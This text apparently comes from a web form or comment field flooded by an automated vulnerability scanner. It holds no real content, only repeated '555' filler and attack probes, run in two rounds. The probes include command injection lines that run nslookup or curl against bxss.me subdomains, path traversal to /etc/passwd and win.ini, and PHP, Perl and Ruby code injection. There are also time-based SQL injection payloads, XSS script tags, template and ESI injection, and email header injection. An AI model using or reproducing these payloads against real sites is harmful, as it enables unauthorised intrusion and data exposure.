555

response.write(9125078*9917017)

echo hxfjtl$() swkvywnz^xyu||a #' &echo hxfjtl$() swkvywnz^xyu||a #|" &echo hxfjtl$() swkvywnz^xyu||a #

E7GmCr55

&echo hegjjk$() mzuazlnz^xyu||a #' &echo hegjjk$() mzuazlnz^xyu||a #|" &echo hegjjk$() mzuazlnz^xyu||a #

'+response.write(9125078*9917017)+'

"+response.write(9125078*9917017)+"

555&echo bqvylh$() qvnwumnz^xyu||a #' &echo bqvylh$() qvnwumnz^xyu||a #|" &echo bqvylh$() qvnwumnz^xyu||a #

555

|echo xiermy$() qtllbwnz^xyu||a #' |echo xiermy$() qtllbwnz^xyu||a #|" |echo xiermy$() qtllbwnz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555|echo kmmxsd$() ularegnz^xyu||a #' |echo kmmxsd$() ularegnz^xyu||a #|" |echo kmmxsd$() ularegnz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

555
bcc:0.45-236529.45.1b833.20268.2@bxss.me

(nslookup -q=cname hitiycfriyxrobf168.bxss.me||curl hitiycfriyxrobf168.bxss.me))

file:///etc/passwd

to@example.com>
bcc:0.45-236530.45.1b833.20268.2@bxss.me

555

$(nslookup -q=cname hitjrpytvcapl2ac74.bxss.me||curl hitjrpytvcapl2ac74.bxss.me)

555

555

&nslookup -q=cname hituypaesmuwl0a510.bxss.me&'"`0&nslookup -q=cname hituypaesmuwl0a510.bxss.me&`'

../555

555

&(nslookup -q=cname hitonjhgidkjgabd4b.bxss.me||curl hitonjhgidkjgabd4b.bxss.me)&'"`0&(nslookup -q=cname hitonjhgidkjgabd4b.bxss.me||curl hitonjhgidkjgabd4b.bxss.me)&`'

555

|(nslookup -q=cname hitdgswzitbih3741d.bxss.me||curl hitdgswzitbih3741d.bxss.me)

555

`(nslookup -q=cname hitsyodgoogwbc66ab.bxss.me||curl hitsyodgoogwbc66ab.bxss.me)`

555

12345'"'");|]*{
<>

;(nslookup -q=cname hityrsejuukklc2682.bxss.me||curl hityrsejuukklc2682.bxss.me)|(nslookup -q=cname hityrsejuukklc2682.bxss.me||curl hityrsejuukklc2682.bxss.me)&(nslookup -q=cname hityrsejuukklc2682.bxss.me||curl hityrsejuukklc2682.bxss.me)

555

555<esi:include src="http://bxss.me/rpb.png"/>

${10000336+10000231}

555

555

555

555

555

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

555&n976214=v926770

/etc/shells

555

c:/windows/win.ini

)

555

bxss.me

!(()&&!|*|*|

555

^(#$!@#$)(()))******

555

555

555

555

555

555

555

555

555

'"()

555

555

555

555

555

555'&&sleep(27*1000)*vveido&&'

555

555

555"&&sleep(27*1000)*vbsmak&&"

555

555

555'||sleep(27*1000)*vsmxdj||'

555

555

'.gethostbyname(lc('hitpn'.'egqxdbjd31ea3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(75).chr(105).chr(68).'

555"||sleep(27*1000)*fvajao||"

555

".gethostbyname(lc("hitii"."qazevhrxa7f22.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(74).chr(99).chr(88)."

555

555

555

555

555

555

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

555

"+"A".concat(70-3).concat(22*4).concat(117).concat(69).concat(98).concat(82)+(require"socket"
Socket.gethostbyname("hitly"+"ahvlbhse2e34b.bxss.me.")[3].to_s)+"

${@print(md5(31337))}

bxss.me/t/xss.html?%00

555

'+'A'.concat(70-3).concat(22*4).concat(122).concat(87).concat(107).concat(83)+(require'socket'
Socket.gethostbyname('hitim'+'kbbqboluc4f7f.bxss.me.')[3].to_s)+'

${@print(md5(31337))}

555

'.print(md5(31337)).'

555

555

555

555

reply

555

555

555

reply

555

reply/.

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'"

555

xfs.bxss.me

555

555

<!--

555

555

555

555

555

555

555

555'"()&%<zzz><ScRiPt >zkHC(9007)</ScRiPt>

555

555

555

555

555

555

555

'"()&%<zzz><ScRiPt >zkHC(9103)</ScRiPt>

555

555

555

5559468209

555

555

555

555

555

555

555

555

-1 OR 2+459-459-1=0+0+0+1 --

-1 OR 2+122-122-1=0+0+0+1

-1' OR 2+183-183-1=0+0+0+1 --

-1' OR 2+99-99-1=0+0+0+1 or '2obz6avy'='

-1" OR 2+816-816-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

PRAr5ck9'; waitfor delay '0:0:15' --

-5 OR 740=(SELECT 740 FROM PG_SLEEP(15))--

-5) OR 285=(SELECT 285 FROM PG_SLEEP(15))--

-1)) OR 553=(SELECT 553 FROM PG_SLEEP(15))--

rQkwrNTb' OR 553=(SELECT 553 FROM PG_SLEEP(15))--

MlRsrm9U') OR 287=(SELECT 287 FROM PG_SLEEP(15))--

rnm88Zx2')) OR 716=(SELECT 716 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@cfnvz

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9507090*9765434)

'+response.write(9507090*9765434)+'

echo rdzvdg$() gtvarxnz^xyu||a #' &echo rdzvdg$() gtvarxnz^xyu||a #|" &echo rdzvdg$() gtvarxnz^xyu||a #

"+response.write(9507090*9765434)+"

&echo qugakr$() btwjocnz^xyu||a #' &echo qugakr$() btwjocnz^xyu||a #|" &echo qugakr$() btwjocnz^xyu||a #

555&echo lquoec$() vhxglgnz^xyu||a #' &echo lquoec$() vhxglgnz^xyu||a #|" &echo lquoec$() vhxglgnz^xyu||a #

|echo daaqlo$() rxyxilnz^xyu||a #' |echo daaqlo$() rxyxilnz^xyu||a #|" |echo daaqlo$() rxyxilnz^xyu||a #

555|echo avymlu$() lipuhhnz^xyu||a #' |echo avymlu$() lipuhhnz^xyu||a #|" |echo avymlu$() lipuhhnz^xyu||a #

(nslookup -q=cname hitfldxztevve3c2c1.bxss.me||curl hitfldxztevve3c2c1.bxss.me))

$(nslookup -q=cname hitzenibfgvsib44f6.bxss.me||curl hitzenibfgvsib44f6.bxss.me)

&nslookup -q=cname hitnecskeutoa6b30b.bxss.me&'"`0&nslookup -q=cname hitnecskeutoa6b30b.bxss.me&`'

9yUKm4M4

../../../../../../../../../../../../../../etc/passwd

&(nslookup -q=cname hitrzxrffqncm75f7a.bxss.me||curl hitrzxrffqncm75f7a.bxss.me)&'"`0&(nslookup -q=cname hitrzxrffqncm75f7a.bxss.me||curl hitrzxrffqncm75f7a.bxss.me)&`'

../../../../../../../../../../../../../../windows/win.ini

|(nslookup -q=cname hitibeubqrara72548.bxss.me||curl hitibeubqrara72548.bxss.me)

file:///etc/passwd

`(nslookup -q=cname hituufaqkuxfh6254a.bxss.me||curl hituufaqkuxfh6254a.bxss.me)`

555

555
bcc:0.45-237375.45.1b833.20268.2@bxss.me

;(nslookup -q=cname hitcblvlkrfowd1301.bxss.me||curl hitcblvlkrfowd1301.bxss.me)|(nslookup -q=cname hitcblvlkrfowd1301.bxss.me||curl hitcblvlkrfowd1301.bxss.me)&(nslookup -q=cname hitcblvlkrfowd1301.bxss.me||curl hitcblvlkrfowd1301.bxss.me)

../555

to@example.com>
bcc:0.45-237376.45.1b833.20268.2@bxss.me

555

555

12345'"'");|]*{
<>

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${9999102+9999593}

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555&n919809=v924035

/etc/shells

c:/windows/win.ini

bxss.me

)

!(()&&!|*|*|

^(#$!@#$)(()))******

555

555

'.gethostbyname(lc('hitjn'.'xghdehzo540a2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(67).chr(121).chr(70).'

555

".gethostbyname(lc("hitqi"."aqjwhdpf02bc1.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(87).chr(119).chr(69)."

555

-1 OR 2+19-19-1=0+0+0+1 --

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'"()

-1 OR 2+23-23-1=0+0+0+1

';print(md5(31337));$a='

555'&&sleep(27*1000)*djsfsw&&'

-1' OR 2+108-108-1=0+0+0+1 --

";print(md5(31337));$a="

555"&&sleep(27*1000)*hidwyg&&"

-1' OR 2+699-699-1=0+0+0+1 or 'iBKysGCI'='

${@print(md5(31337))}

555'||sleep(27*1000)*pllugb||'

"+"A".concat(70-3).concat(22*4).concat(102).concat(81).concat(119).concat(81)+(require"socket"
Socket.gethostbyname("hitnp"+"qtqginfy8f051.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

-1" OR 2+868-868-1=0+0+0+1 --

${@print(md5(31337))}

555"||sleep(27*1000)*kgonal||"

'+'A'.concat(70-3).concat(22*4).concat(100).concat(66).concat(114).concat(73)+(require'socket'
Socket.gethostbyname('hitqz'+'kowblzxg35aa2.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

555

reply

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

reply

reply/.

xfs.bxss.me

555

555

'"

555'"()&%<zzz><ScRiPt >IaxB(9121)</ScRiPt>

555

<!--

'"()&%<zzz><ScRiPt >IaxB(9790)</ScRiPt>

555

555

5559377180

555

555

555

if(now()=sysdate(),sleep(15),0)

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

IYs9PtCz'; waitfor delay '0:0:15' --

-5 OR 983=(SELECT 983 FROM PG_SLEEP(15))--

-5) OR 460=(SELECT 460 FROM PG_SLEEP(15))--

-1)) OR 938=(SELECT 938 FROM PG_SLEEP(15))--

VJjSayXo' OR 866=(SELECT 866 FROM PG_SLEEP(15))--

TX2Nz41Q') OR 106=(SELECT 106 FROM PG_SLEEP(15))--

2sZFUcP9')) OR 986=(SELECT 986 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@By7yL

555

555

555

555

555

555

555